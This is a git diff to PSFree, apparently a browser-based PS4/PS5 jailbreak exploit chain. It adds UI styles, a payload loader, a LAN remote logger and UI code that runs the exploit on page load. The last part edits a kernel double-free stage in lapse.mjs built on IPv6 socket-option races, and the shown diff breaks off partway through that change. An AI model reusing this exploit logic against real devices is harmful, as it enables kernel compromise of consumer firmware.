diff --git a/css/styles.css b/css/styles.css
new file mode 100644
index 0000000..8f1bde2
--- /dev/null
+++ b/css/styles.css
@@ -0,0 +1,242 @@
+/*
+ * PSFree Enhanced UI Styles
+ * Compatible with PS4 FW 9.00 Browser
+ * TODO: Optimize for PS4 display and controller navigation
+ */
+
+body {
+ font-family: 'Liberation Mono', monospace;
+ margin: 0;
+ padding: 20px;
+ background-color: #0d1117;
+ color: #e6edf3;
+}
+
+.container {
+ max-width: 900px;
+ margin: 0 auto;
+}
+
+.header {
+ text-align: center;
+ margin-bottom: 20px;
+ padding-bottom: 10px;
+ border-bottom: 1px solid #30363d;
+}
+
+.header h1 {
+ margin: 0;
+ color: #58a6ff;
+}
+
+.header p {
+ margin: 5px 0;
+ color: #8b949e;
+}
+
+.card {
+ background-color: #161b22;
+ border-radius: 6px;
+ padding: 15px;
+ margin-bottom: 20px;
+ border: 1px solid #30363d;
+}
+
+.card-title {
+ margin-top: 0;
+ color: #58a6ff;
+ border-bottom: 1px solid #30363d;
+ padding-bottom: 10px;
+}
+
+.btn {
+ background-color: #238636;
+ color: white;
+ border: none;
+ padding: 8px 16px;
+ border-radius: 6px;
+ cursor: pointer;
+ font-weight: bold;
+ transition: background-color 0.2s;
+}
+
+.btn:hover {
+ background-color: #2ea043;
+}
+
+.btn:disabled {
+ background-color: #3c4043;
+ cursor: not-allowed;
+}
+
+.btn-danger {
+ background-color: #da3633;
+}
+
+.btn-danger:hover {
+ background-color: #f85149;
+}
+
+.progress-container {
+ width: 100%;
+ background-color: #30363d;
+ border-radius: 4px;
+ margin: 10px 0;
+}
+
+.progress-bar {
+ height: 10px;
+ background-color: #238636;
+ border-radius: 4px;
+ width: 0%;
+ transition: width 0.3s;
+}
+
+#console {
+ background-color: #0d1117;
+ border: 1px solid #30363d;
+ border-radius: 6px;
+ padding: 10px;
+ height: 300px;
+ overflow-y: auto;
+ font-family: 'Liberation Mono', monospace;
+ white-space: pre-wrap;
+ color: #e6edf3;
+}
+
+.status-indicator {
+ display: inline-block;
+ width: 12px;
+ height: 12px;
+ border-radius: 50%;
+ margin-right: 5px;
+}
+
+.status-waiting {
+ background-color: #8b949e;
+}
+
+.status-running {
+ background-color: #f0883e;
+}
+
+.status-success {
+ background-color: #56d364;
+}
+
+.status-error {
+ background-color: #f85149;
+}
+
+.tabs {
+ display: flex;
+ margin-bottom: 10px;
+}
+
+.tab {
+ padding: 8px 16px;
+ cursor: pointer;
+ background-color: #161b22;
+ border: 1px solid #30363d;
+ border-bottom: none;
+ border-radius: 6px 6px 0 0;
+ margin-right: 5px;
+}
+
+.tab.active {
+ background-color: #0d1117;
+ border-bottom: 1px solid #0d1117;
+ position: relative;
+ top: 1px;
+}
+
+.tab-content {
+ display: none;
+ padding: 15px;
+ background-color: #0d1117;
+ border: 1px solid #30363d;
+ border-radius: 0 6px 6px 6px;
+}
+
+.tab-content.active {
+ display: block;
+}
+
+.payload-item {
+ display: flex;
+ align-items: center;
+ padding: 10px;
+ border: 1px solid #30363d;
+ border-radius: 6px;
+ margin-bottom: 10px;
+}
+
+.payload-item.selected {
+ border-color: #58a6ff;
+ background-color: rgba(88, 166, 255, 0.1);
+}
+
+.payload-info {
+ flex-grow: 1;
+ margin-left: 10px;
+}
+
+.tooltip {
+ position: relative;
+ display: inline-block;
+ cursor: help;
+}
+
+.tooltip .tooltip-text {
+ visibility: hidden;
+ width: 200px;
+ background-color: #30363d;
+ color: #e6edf3;
+ text-align: center;
+ border-radius: 6px;
+ padding: 5px;
+ position: absolute;
+ z-index: 1;
+ bottom: 125%;
+ left: 50%;
+ margin-left: -100px;
+ opacity: 0;
+ transition: opacity 0.3s;
+}
+
+.tooltip:hover .tooltip-text {
+ visibility: visible;
+ opacity: 1;
+}
+
+/* PS4 specific optimizations */
+@media screen and (max-width: 1920px) and (max-height: 1080px) {
+ .container {
+ max-width: 1600px;
+ }
+
+ #console {
+ height: 400px;
+ }
+
+ .btn {
+ padding: 12px 24px;
+ font-size: 18px;
+ }
+
+ .tab {
+ padding: 12px 24px;
+ font-size: 18px;
+ }
+}
+
+/* Focus styles for controller navigation */
+.btn:focus, .tab:focus, .payload-item:focus {
+ outline: 3px solid #58a6ff;
+}
+
+/* Highlight the currently focused element for controller navigation */
+.controller-focus {
+ outline: 3px solid #58a6ff !important;
+ box-shadow: 0 0 10px rgba(88, 166, 255, 0.5);
+}
diff --git a/index.html b/index.html
index 7ab8be9..119d914 100644
--- a/index.html
+++ b/index.html
@@ -15,28 +15,115 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see .
-->
+
-
- PSFree-Lapse Exploit For 9.00
+
+ PSFree v1.5.0 - PS4/PS5 Exploit
+
+
- PSFree: A PS4/PS5 Exploit Chain
- Donation (Monero/XMR):
- 86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
- See JavaScript license information for the
- source code and license.
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
About PSFree
+
PSFree is an exploit chain for PS4 and PS5.
+
Current version: 1.5.0
+
Supported firmware:
+
+ - PS4: 5.00 - 12.50
+ - PS5: 1.00 - 10.20
+
+
PSFree uses:
+
+ - WebKit exploit (CVE-2022-22620)
+ - Lapse kernel exploit
+
+
See JavaScript license info for source code and license details.
+
Donations (Monero/XMR):
+ 86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS
+
+
+
+
Quick Guide
+
+ - Open this page in the PS4 browser
+ - The exploit will run automatically
+ - Wait for the process to complete
+ - If successful, the payload will run automatically
+
+
Note: If a Kernel Panic occurs, power off the console (do not restart) and try again.
+
Important: This website uses the default payload located in the root folder.
+
+
+
+
+
+
+
+
+
-
-
diff --git a/js/payload-manager.js b/js/payload-manager.js
new file mode 100644
index 0000000..389275d
--- /dev/null
+++ b/js/payload-manager.js
@@ -0,0 +1,124 @@
+/**
+ * PSFree Payload Manager
+ * Compatible with PS4 FW 9.00 Browser
+ * TODO: Add support for multiple payloads and payload verification
+ */
+
+// Global state for payloads
+window.payloadState = {
+ defaultPayload: null,
+ customPayloads: {},
+ selectedPayload: 'payload.bin'
+};
+
+// Function to load the default payload
+function loadDefaultPayload() {
+ console.log('Loading default payload...');
+
+ fetch('./payload.bin')
+ .then(response => {
+ if (!response.ok) {
+ throw new Error('Failed to load default payload');
+ }
+ return response.arrayBuffer();
+ })
+ .then(arrayBuffer => {
+ window.payloadState.defaultPayload = new Uint32Array(arrayBuffer);
+ window.pld = window.payloadState.defaultPayload; // For backward compatibility
+ console.log('Default payload loaded successfully');
+
+ // Dispatch event for UI to update
+ document.dispatchEvent(new CustomEvent('payloadLoaded', {
+ detail: {
+ name: 'payload.bin',
+ size: arrayBuffer.byteLength
+ }
+ }));
+ })
+ .catch(error => {
+ console.error('Error loading default payload:', error);
+
+ // Dispatch event for UI to update
+ document.dispatchEvent(new CustomEvent('payloadError', {
+ detail: {
+ name: 'payload.bin',
+ error: error.message
+ }
+ }));
+ });
+}
+
+// Function to load a custom payload
+function loadCustomPayload(name, arrayBuffer) {
+ console.log(`Loading custom payload: ${name}`);
+
+ try {
+ const payload = new Uint32Array(arrayBuffer);
+ window.payloadState.customPayloads[name] = payload;
+
+ console.log(`Custom payload "${name}" loaded successfully`);
+
+ // Dispatch event for UI to update
+ document.dispatchEvent(new CustomEvent('customPayloadLoaded', {
+ detail: {
+ name: name,
+ size: arrayBuffer.byteLength
+ }
+ }));
+
+ return true;
+ } catch (error) {
+ console.error(`Error loading custom payload "${name}":`, error);
+
+ // Dispatch event for UI to update
+ document.dispatchEvent(new CustomEvent('payloadError', {
+ detail: {
+ name: name,
+ error: error.message
+ }
+ }));
+
+ return false;
+ }
+}
+
+// Function to select a payload
+function selectPayload(name) {
+ console.log(`Selecting payload: ${name}`);
+
+ if (name === 'payload.bin') {
+ if (window.payloadState.defaultPayload) {
+ window.pld = window.payloadState.defaultPayload;
+ window.payloadState.selectedPayload = name;
+ return true;
+ }
+ return false;
+ } else if (window.payloadState.customPayloads[name]) {
+ window.pld = window.payloadState.customPayloads[name];
+ window.payloadState.selectedPayload = name;
+ return true;
+ }
+
+ return false;
+}
+
+// Function to get the currently selected payload
+function getSelectedPayload() {
+ const name = window.payloadState.selectedPayload;
+
+ if (name === 'payload.bin') {
+ return window.payloadState.defaultPayload;
+ } else {
+ return window.payloadState.customPayloads[name];
+ }
+}
+
+// Initialize by loading the default payload
+loadDefaultPayload();
+
+// Export functions to window for access from other scripts
+window.payloadManager = {
+ loadCustomPayload,
+ selectPayload,
+ getSelectedPayload
+};
diff --git a/js/remote-logger.js b/js/remote-logger.js
new file mode 100644
index 0000000..91af6f9
--- /dev/null
+++ b/js/remote-logger.js
@@ -0,0 +1,336 @@
+/**
+ * PSFree Remote Logger
+ *
+ * Remote logging system for PSFree that sends logs to a local server
+ * to monitor exploit progress in real-time.
+ *
+ * TODO: Add automatic reconnect feature if the connection is lost
+ */
+
+// Logger configuration
+const RemoteLogger = {
+ // Server configuration
+ config: {
+ // Logging server URL (replace with your computer's IP)
+ serverUrl: 'http://192.168.1.100:3000',
+ // Whether logging is enabled
+ enabled: true,
+ // Whether to also print logs to the local console
+ localConsole: true,
+ // Minimum log level to be sent (0=DEBUG, 1=INFO, 2=WARN, 3=ERROR)
+ minLevel: 0,
+ // Unique ID for this logging session
+ sessionId: generateSessionId(),
+ // Device information
+ deviceInfo: {
+ userAgent: navigator.userAgent,
+ firmware: detectFirmware(),
+ timestamp: new Date().toISOString()
+ },
+ // Buffer to store logs if connection is lost
+ logBuffer: [],
+ // Maximum buffer size
+ maxBufferSize: 100,
+ // Connection status
+ connected: false
+ },
+
+ // Log levels
+ LEVEL: {
+ DEBUG: 0,
+ INFO: 1,
+ WARN: 2,
+ ERROR: 3
+ },
+
+ // Initialize the logger
+ init: function(customConfig = {}) {
+ // Merge default config with custom config
+ this.config = { ...this.config, ...customConfig };
+
+ // Try to auto-detect server IP if not configured
+ if (this.config.serverUrl === 'http://192.168.1.100:3000') {
+ this.autoDetectServerIp();
+ }
+
+ // Send session info to the server
+ this.sendSessionInfo();
+
+ // Override the original console.log function
+ this.overrideConsoleLog();
+
+ // Initialization log
+ this.info('Remote Logger initialized', {
+ config: {
+ serverUrl: this.config.serverUrl,
+ sessionId: this.config.sessionId,
+ deviceInfo: this.config.deviceInfo
+ }
+ });
+
+ return this;
+ },
+
+ // Try to auto-detect server IP
+ autoDetectServerIp: function() {
+ // List of commonly used IPs in local networks
+ const commonIps = [
+ 'http://192.168.1.100:3000',
+ 'http://192.168.1.101:3000',
+ 'http://192.168.1.102:3000',
+ 'http://192.168.1.103:3000',
+ 'http://192.168.1.104:3000',
+ 'http://192.168.1.105:3000',
+ 'http://192.168.0.100:3000',
+ 'http://192.168.0.101:3000',
+ 'http://192.168.0.102:3000',
+ 'http://192.168.0.103:3000',
+ 'http://192.168.0.104:3000',
+ 'http://192.168.0.105:3000',
+ 'http://10.0.0.100:3000',
+ 'http://10.0.0.101:3000',
+ 'http://10.0.0.102:3000'
+ ];
+
+ // Try pinging each IP to find an active server
+ for (const ip of commonIps) {
+ fetch(`${ip}/ping`, {
+ method: 'GET',
+ mode: 'no-cors',
+ cache: 'no-cache',
+ headers: {
+ 'Content-Type': 'application/json'
+ },
+ timeout: 500
+ })
+ .then(() => {
+ // If successful, use this IP
+ this.config.serverUrl = ip;
+ this.info(`Server found at ${ip}`);
+ })
+ .catch(() => {
+ // If failed, try the next IP
+ });
+ }
+ },
+
+ // Send session info to the server
+ sendSessionInfo: function() {
+ if (!this.config.enabled) return;
+
+ // Create URL with query parameters to avoid CORS issues with body
+ const sessionData = {
+ sessionId: this.config.sessionId,
+ deviceInfo: JSON.stringify(this.config.deviceInfo),
+ timestamp: new Date().toISOString()
+ };
+
+ // Create query string from data
+ const queryString = Object.keys(sessionData)
+ .map(key => `${encodeURIComponent(key)}=${encodeURIComponent(sessionData[key])}`)
+ .join('&');
+
+ // Send request using GET method and query parameters
+ fetch(`${this.config.serverUrl}/session?${queryString}`, {
+ method: 'GET',
+ mode: 'no-cors',
+ cache: 'no-cache'
+ })
+ .then(() => {
+ this.config.connected = true;
+
+ // Success log
+ if (this.config.localConsole) {
+ console.log(`Connected to logging server at ${this.config.serverUrl}`);
+ console.log(`Session ID: ${this.config.sessionId}`);
+ }
+
+ // Send logs stored in buffer
+ this.flushBuffer();
+ })
+ .catch(error => {
+ this.config.connected = false;
+ if (this.config.localConsole) {
+ console.error('Failed to connect to logging server:', error);
+ }
+ });
+ },
+
+ // Override the original console.log functions
+ overrideConsoleLog: function() {
+ const originalLog = console.log;
+ const originalWarn = console.warn;
+ const originalError = console.error;
+ const self = this;
+
+ console.log = function(...args) {
+ if (self.config.localConsole) {
+ originalLog.apply(console, args);
+ }
+
+ self.debug(args.map(arg => {
+ if (typeof arg === 'object') {
+ return JSON.stringify(arg);
+ }
+ return arg;
+ }).join(' '));
+ };
+
+ console.warn = function(...args) {
+ if (self.config.localConsole) {
+ originalWarn.apply(console, args);
+ }
+
+ self.warn(args.map(arg => {
+ if (typeof arg === 'object') {
+ return JSON.stringify(arg);
+ }
+ return arg;
+ }).join(' '));
+ };
+
+ console.error = function(...args) {
+ if (self.config.localConsole) {
+ originalError.apply(console, args);
+ }
+
+ self.error(args.map(arg => {
+ if (typeof arg === 'object') {
+ return JSON.stringify(arg);
+ }
+ return arg;
+ }).join(' '));
+ };
+ },
+
+ // Send log to server
+ sendLog: function(level, message, data = {}) {
+ if (!this.config.enabled || level < this.config.minLevel) return;
+
+ const logEntry = {
+ sessionId: this.config.sessionId,
+ timestamp: new Date().toISOString(),
+ level: level,
+ levelName: Object.keys(this.LEVEL).find(key => this.LEVEL[key] === level),
+ message: message,
+ data: JSON.stringify(data)
+ };
+
+ // If not connected, save to buffer
+ if (!this.config.connected) {
+ this.bufferLog(logEntry);
+ return;
+ }
+
+ // Create query string from log data
+ const queryString = Object.keys(logEntry)
+ .map(key => `${encodeURIComponent(key)}=${encodeURIComponent(logEntry[key])}`)
+ .join('&');
+
+ // Send log to server using GET method
+ fetch(`${this.config.serverUrl}/log?${queryString}`, {
+ method: 'GET',
+ mode: 'no-cors',
+ cache: 'no-cache'
+ })
+ .catch(error => {
+ this.config.connected = false;
+ this.bufferLog(logEntry);
+ if (this.config.localConsole) {
+ console.error('Failed to send log to server:', error);
+ }
+ });
+ },
+
+ // Save log in buffer if connection is lost
+ bufferLog: function(logEntry) {
+ this.config.logBuffer.push(logEntry);
+
+ // If buffer is too large, remove oldest logs
+ if (this.config.logBuffer.length > this.config.maxBufferSize) {
+ this.config.logBuffer.shift();
+ }
+ },
+
+ // Send all buffered logs
+ flushBuffer: function() {
+ if (!this.config.connected || this.config.logBuffer.length === 0) return;
+
+ for (const log of this.config.logBuffer) {
+ this.sendLog(log.level, log.message, log.data ? JSON.parse(log.data) : {});
+ }
+
+ this.config.logBuffer = [];
+ },
+
+ // Logging functions
+ debug: function(message, data = {}) {
+ this.sendLog(this.LEVEL.DEBUG, message, data);
+ },
+
+ info: function(message, data = {}) {
+ this.sendLog(this.LEVEL.INFO, message, data);
+ },
+
+ warn: function(message, data = {}) {
+ this.sendLog(this.LEVEL.WARN, message, data);
+ },
+
+ error: function(message, data = {}) {
+ this.sendLog(this.LEVEL.ERROR, message, data);
+ },
+
+ // Log exploit stage
+ logStage: function(stage, percent, details = {}) {
+ this.info(`STAGE: ${stage}`, {
+ stage: stage,
+ percent: percent,
+ details: details
+ });
+
+ // Dispatch event for UI
+ document.dispatchEvent(new CustomEvent('exploitProgress', {
+ detail: {
+ stage: stage,
+ percent: percent
+ }
+ }));
+ }
+};
+
+// Function to generate unique session ID
+function generateSessionId() {
+ return 'xxxx-xxxx-xxxx-xxxx'.replace(/[x]/g, () => {
+ const r = Math.random() * 16 | 0;
+ return r.toString(16);
+ });
+}
+
+// Function to detect firmware
+function detectFirmware() {
+ const userAgent = navigator.userAgent;
+ let firmware = null;
+
+ // Detect PS4 firmware
+ const ps4Match = userAgent.match(/PlayStation 4\/([0-9.]+)/);
+ if (ps4Match && ps4Match[1]) {
+ firmware = {
+ console: 'PS4',
+ version: ps4Match[1]
+ };
+ }
+
+ // Detect PS5 firmware
+ const ps5Match = userAgent.match(/PlayStation 5\/([0-9.]+)/);
+ if (ps5Match && ps5Match[1]) {
+ firmware = {
+ console: 'PS5',
+ version: ps5Match[1]
+ };
+ }
+
+ return firmware;
+}
+
+// Export RemoteLogger to window
+window.RemoteLogger = RemoteLogger;
diff --git a/js/ui.js b/js/ui.js
new file mode 100644
index 0000000..8920458
--- /dev/null
+++ b/js/ui.js
@@ -0,0 +1,449 @@
+/**
+ * PSFree Enhanced UI
+ * Compatible with PS4 FW 9.00 Browser
+ * TODO: Implement controller navigation and optimize for PS4 display
+ */
+
+// Status constants
+const STATUS = {
+ WAITING: 'waiting',
+ RUNNING: 'running',
+ SUCCESS: 'success',
+ ERROR: 'error'
+};
+
+// Global state
+let state = {
+ status: STATUS.RUNNING, // Changed from WAITING to RUNNING because it auto-runs
+ progress: 0,
+ selectedPayload: 'payload.bin', // Always uses the default payload
+ customPayloads: [],
+ settings: {
+ autoRun: true, // Changed to true for auto-run
+ verboseLogging: false,
+ safeMode: true
+ },
+ controllerNavigation: {
+ enabled: false,
+ currentFocusIndex: 0,
+ focusableElements: []
+ }
+};
+
+// TODO: Exploit will run automatically when the page loads
+
+// Original console.log function
+const originalLog = console.log;
+
+// Override console.log to also update the UI
+console.log = function(...args) {
+ // Call original console.log
+ originalLog.apply(console, args);
+
+ // Update UI console
+ const message = args.map(arg => {
+ if (typeof arg === 'object') {
+ return JSON.stringify(arg);
+ }
+ return arg;
+ }).join(' ');
+
+ appendToConsole(message);
+};
+
+// Function to append text to the console
+function appendToConsole(text) {
+ const consoleElement = document.getElementById('console');
+ if (consoleElement) {
+ consoleElement.textContent += text + '\n';
+ consoleElement.scrollTop = consoleElement.scrollHeight;
+ }
+}
+
+// Function to clear the console
+function clearConsole() {
+ const consoleElement = document.getElementById('console');
+ if (consoleElement) {
+ consoleElement.textContent = '';
+ }
+}
+
+// Function to update the UI status
+function updateStatus(status, message) {
+ state.status = status;
+
+ const statusIcon = document.getElementById('status-icon');
+ const statusText = document.getElementById('status-text');
+
+ if (!statusIcon || !statusText) return;
+
+ // Remove all status classes
+ statusIcon.classList.remove('status-waiting', 'status-running', 'status-success', 'status-error');
+
+ // Add the appropriate class
+ statusIcon.classList.add(`status-${status}`);
+
+ // Update the status text
+ statusText.textContent = message;
+
+ // TODO: Exploit run and reset buttons have been removed
+}
+
+// Function to update the progress bar
+function updateProgress(percent) {
+ state.progress = percent;
+ const progressBar = document.getElementById('progress-bar');
+ if (progressBar) {
+ progressBar.style.width = `${percent}%`;
+ }
+}
+
+// Function to handle tab switching
+function switchTab(tabId) {
+ // Hide all tab contents
+ document.querySelectorAll('.tab-content').forEach(content => {
+ content.classList.remove('active');
+ });
+
+ // Deactivate all tabs
+ document.querySelectorAll('.tab').forEach(tab => {
+ tab.classList.remove('active');
+ });
+
+ // Activate the selected tab and content
+ const tabContent = document.getElementById(`tab-${tabId}`);
+ const tabElement = document.querySelector(`.tab[data-tab="${tabId}"]`);
+
+ if (tabContent && tabElement) {
+ tabContent.classList.add('active');
+ tabElement.classList.add('active');
+ }
+}
+
+// Function to add a custom payload
+function addCustomPayload(name, data) {
+ const payloadList = document.getElementById('payload-list');
+ if (!payloadList) return;
+
+ // Create a new payload item
+ const payloadItem = document.createElement('div');
+ payloadItem.className = 'payload-item';
+ payloadItem.dataset.payload = name;
+ payloadItem.setAttribute('tabindex', '0'); // Make focusable for controller navigation
+
+ // Create the payload content
+ payloadItem.innerHTML = `
+
+
+
+
Custom payload (${formatBytes(data.byteLength)})
+
+
+ `;
+
+ // Add the payload to the list
+ payloadList.appendChild(payloadItem);
+
+ // Store the payload data
+ state.customPayloads.push({
+ name: name,
+ data: data
+ });
+
+ // Save to localStorage
+ saveCustomPayloads();
+
+ // Update controller navigation
+ updateFocusableElements();
+}
+
+// Function to format bytes to human-readable format
+function formatBytes(bytes, decimals = 2) {
+ if (bytes === 0) return '0 Bytes';
+
+ const k = 1024;
+ const dm = decimals < 0 ? 0 : decimals;
+ const sizes = ['Bytes', 'KB', 'MB', 'GB'];
+
+ const i = Math.floor(Math.log(bytes) / Math.log(k));
+
+ return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i];
+}
+
+// Function to save custom payloads to localStorage
+function saveCustomPayloads() {
+ try {
+ // We can only store the names in localStorage, not the actual binary data
+ const payloadNames = state.customPayloads.map(p => p.name);
+ localStorage.setItem('customPayloadNames', JSON.stringify(payloadNames));
+ } catch (e) {
+ console.log('Error saving custom payloads to localStorage:', e);
+ }
+}
+
+// Function to save settings to localStorage
+function saveSettings() {
+ try {
+ localStorage.setItem('settings', JSON.stringify(state.settings));
+ console.log('Settings saved');
+ } catch (e) {
+ console.log('Error saving settings to localStorage:', e);
+ }
+}
+
+// Function to load settings from localStorage
+function loadSettings() {
+ try {
+ const savedSettings = localStorage.getItem('settings');
+ if (savedSettings) {
+ state.settings = JSON.parse(savedSettings);
+
+ // Update UI to reflect loaded settings
+ const autoRunElement = document.getElementById('auto-run');
+ const verboseLoggingElement = document.getElementById('verbose-logging');
+ const safeModeElement = document.getElementById('safe-mode');
+
+ if (autoRunElement) autoRunElement.checked = state.settings.autoRun;
+ if (verboseLoggingElement) verboseLoggingElement.checked = state.settings.verboseLogging;
+ if (safeModeElement) safeModeElement.checked = state.settings.safeMode;
+ }
+ } catch (e) {
+ console.log('Error loading settings from localStorage:', e);
+ }
+}
+
+// Function to detect firmware version
+function detectFirmware() {
+ const userAgent = navigator.userAgent;
+ let firmware = null;
+
+ // Detect PS4 firmware
+ const ps4Match = userAgent.match(/PlayStation 4\/([0-9.]+)/);
+ if (ps4Match && ps4Match[1]) {
+ firmware = {
+ console: 'PS4',
+ version: ps4Match[1]
+ };
+ }
+
+ // Detect PS5 firmware
+ const ps5Match = userAgent.match(/PlayStation 5\/([0-9.]+)/);
+ if (ps5Match && ps5Match[1]) {
+ firmware = {
+ console: 'PS5',
+ version: ps5Match[1]
+ };
+ }
+
+ return firmware;
+}
+
+// Function to check browser compatibility
+function checkCompatibility() {
+ const userAgent = navigator.userAgent;
+ let isCompatible = true;
+ let message = '';
+
+ // Check if running on PS4/PS5 browser
+ if (userAgent.includes('PlayStation 4') || userAgent.includes('PlayStation 5')) {
+ console.log('PlayStation browser detected. Optimal compatibility.');
+
+ // Enable controller navigation if on PlayStation
+ state.controllerNavigation.enabled = true;
+ } else {
+ console.log('WARNING: Not running in PlayStation browser. Some features may not work.');
+ isCompatible = false;
+ message = 'Not running in PlayStation browser';
+ }
+
+ // Check specific firmware version
+ const firmware = detectFirmware();
+ if (firmware) {
+ console.log(`Detected ${firmware.console} FW ${firmware.version}`);
+
+ if (firmware.console === 'PS4' && firmware.version === '9.00') {
+ console.log('Detected PS4 FW 9.00. Optimal compatibility.');
+ }
+ }
+
+ return { isCompatible, message, firmware };
+}
+
+// Function to run the exploit
+function runExploit() {
+ updateStatus(STATUS.RUNNING, 'Running exploit...');
+ updateProgress(5);
+
+ // Clear the console if not in verbose mode
+ if (!state.settings.verboseLogging) {
+ clearConsole();
+ }
+
+ console.log('Starting PSFree exploit...');
+
+ // The actual exploit will be triggered here via the import of lapse.mjs
+ // This is handled by the original code in index.html
+
+ // Listen for exploit progress events
+ document.addEventListener('exploitProgress', function(event) {
+ updateProgress(event.detail.percent);
+ });
+
+ // Listen for exploit status events
+ document.addEventListener('exploitStatus', function(event) {
+ updateStatus(event.detail.status, event.detail.message);
+ });
+}
+
+// Function to reset the exploit
+function resetExploit() {
+ updateStatus(STATUS.WAITING, 'Ready to start');
+ updateProgress(0);
+
+ if (!state.settings.verboseLogging) {
+ clearConsole();
+ }
+
+ console.log('Exploit reset. Ready to start again.');
+
+ // Reload the page to reset everything
+ if (confirm('The page will reload to reset the exploit. Continue?')) {
+ window.location.reload();
+ }
+}
+
+// Function to update focusable elements for controller navigation
+function updateFocusableElements() {
+ if (!state.controllerNavigation.enabled) return;
+
+ // Get all focusable elements
+ state.controllerNavigation.focusableElements = Array.from(document.querySelectorAll('button, .tab, .payload-item, input[type="checkbox"]'));
+
+ // Reset focus index
+ state.controllerNavigation.currentFocusIndex = 0;
+}
+
+// Function to handle controller navigation
+function handleControllerNavigation(event) {
+ if (!state.controllerNavigation.enabled) return;
+
+ const elements = state.controllerNavigation.focusableElements;
+ let currentIndex = state.controllerNavigation.currentFocusIndex;
+
+ // Handle navigation with D-pad
+ switch (event.key) {
+ case 'ArrowUp':
+ currentIndex = Math.max(0, currentIndex - 1);
+ break;
+ case 'ArrowDown':
+ currentIndex = Math.min(elements.length - 1, currentIndex + 1);
+ break;
+ case 'ArrowLeft':
+ // If in tabs, navigate between tabs
+ if (elements[currentIndex].classList.contains('tab')) {
+ const tabs = Array.from(document.querySelectorAll('.tab'));
+ const tabIndex = tabs.indexOf(elements[currentIndex]);
+ if (tabIndex > 0) {
+ currentIndex = elements.indexOf(tabs[tabIndex - 1]);
+ }
+ } else {
+ currentIndex = Math.max(0, currentIndex - 1);
+ }
+ break;
+ case 'ArrowRight':
+ // If in tabs, navigate between tabs
+ if (elements[currentIndex].classList.contains('tab')) {
+ const tabs = Array.from(document.querySelectorAll('.tab'));
+ const tabIndex = tabs.indexOf(elements[currentIndex]);
+ if (tabIndex < tabs.length - 1) {
+ currentIndex = elements.indexOf(tabs[tabIndex + 1]);
+ }
+ } else {
+ currentIndex = Math.min(elements.length - 1, currentIndex + 1);
+ }
+ break;
+ case 'Enter':
+ // Simulate click on the focused element
+ elements[currentIndex].click();
+ return;
+ }
+
+ // Update focus
+ if (currentIndex !== state.controllerNavigation.currentFocusIndex) {
+ // Remove focus from all elements
+ elements.forEach(el => {
+ el.classList.remove('controller-focus');
+ });
+
+ // Add focus to the current element
+ elements[currentIndex].classList.add('controller-focus');
+ elements[currentIndex].focus();
+
+ // Update current index
+ state.controllerNavigation.currentFocusIndex = currentIndex;
+ }
+}
+
+// Setup event listeners
+function setupEventListeners() {
+ // Tab switching - only for console tab
+ document.querySelectorAll('.tab').forEach(tab => {
+ tab.addEventListener('click', () => {
+ switchTab(tab.dataset.tab);
+ });
+ });
+
+ // TODO: Run exploit, reset, upload payload, and settings buttons have been removed
+
+ // Controller navigation
+ document.addEventListener('keydown', handleControllerNavigation);
+
+ // Custom events from exploit
+ document.addEventListener('exploitProgress', function(event) {
+ updateProgress(event.detail.percent);
+ });
+
+ document.addEventListener('exploitStatus', function(event) {
+ updateStatus(event.detail.status, event.detail.message);
+ });
+
+ // Payload events
+ document.addEventListener('payloadLoaded', function(event) {
+ console.log(`Payload loaded: ${event.detail.name} (${formatBytes(event.detail.size)})`);
+ });
+
+ document.addEventListener('payloadError', function(event) {
+ console.log(`Error loading payload ${event.detail.name}: ${event.detail.error}`);
+ updateStatus(STATUS.ERROR, `Error loading payload: ${event.detail.error}`);
+ });
+}
+
+// Initialize the UI
+function initUI() {
+ console.log('Initializing PSFree UI...');
+
+ // Load settings
+ loadSettings();
+
+ // Setup event listeners
+ setupEventListeners();
+
+ // Check compatibility
+ checkCompatibility();
+
+ // Update focusable elements for controller navigation
+ updateFocusableElements();
+
+ // Always run exploit automatically
+ setTimeout(() => {
+ console.log('Automatically running exploit...');
+ runExploit();
+ }, 1000);
+
+ console.log('UI initialized. Exploit will auto-run.');
+
+ // TODO: Exploit will always auto-run without conditions
+}
+
+// Initialize when the DOM is fully loaded
+document.addEventListener('DOMContentLoaded', initUI);
diff --git a/lapse.mjs b/lapse.mjs
index e294158..fe6ef64 100644
--- a/lapse.mjs
+++ b/lapse.mjs
@@ -956,40 +956,179 @@ function leak_kernel_addrs(sd_pair) {
// FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE
+// Fungsi sleep sederhana untuk menambah delay
+function sleep(ms) {
+ const start = Date.now();
+ while (Date.now() - start < ms) {
+ // Busy wait
+ }
+}
+
function make_aliased_pktopts(sds) {
const tclass = new Word();
- for (let loop = 0; loop < num_alias; loop++) {
- for (let i = 0; i < num_sds; i++) {
- tclass[0] = i;
- ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
- }
- for (let i = 0; i < sds.length; i++) {
- gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
- const marker = tclass[0];
- if (marker !== i) {
- log(`aliased pktopts at attempt: ${loop}`);
- const pair = [sds[i], sds[marker]];
- log(`found pair: ${pair}`);
- sds.splice(marker, 1);
- sds.splice(i, 1);
- // add pktopts to the new sockets now while new allocs can't
- // use the double freed memory
- for (let i = 0; i < 2; i++) {
- const sd = new_socket();
- ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
- sds.push(sd);
- }
+ // Tambahkan delay awal untuk stabilitas
+ sleep(200);
- return pair;
+ // Batasi jumlah percobaan untuk menghindari loop tak terbatas
+ const max_attempts = 20; // Batasi jumlah percobaan
+
+ // Coba pendekatan langsung
+ for (let loop = 0; loop < max_attempts; loop++) {
+ try {
+ // Tambahkan delay kecil setiap iterasi
+ if (loop > 0) {
+ log(`Direct attempt ${loop + 1}/${max_attempts}...`);
+ sleep(100); // Delay tetap untuk menghindari peningkatan yang terlalu besar
}
- }
- for (let i = 0; i < num_sds; i++) {
- setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
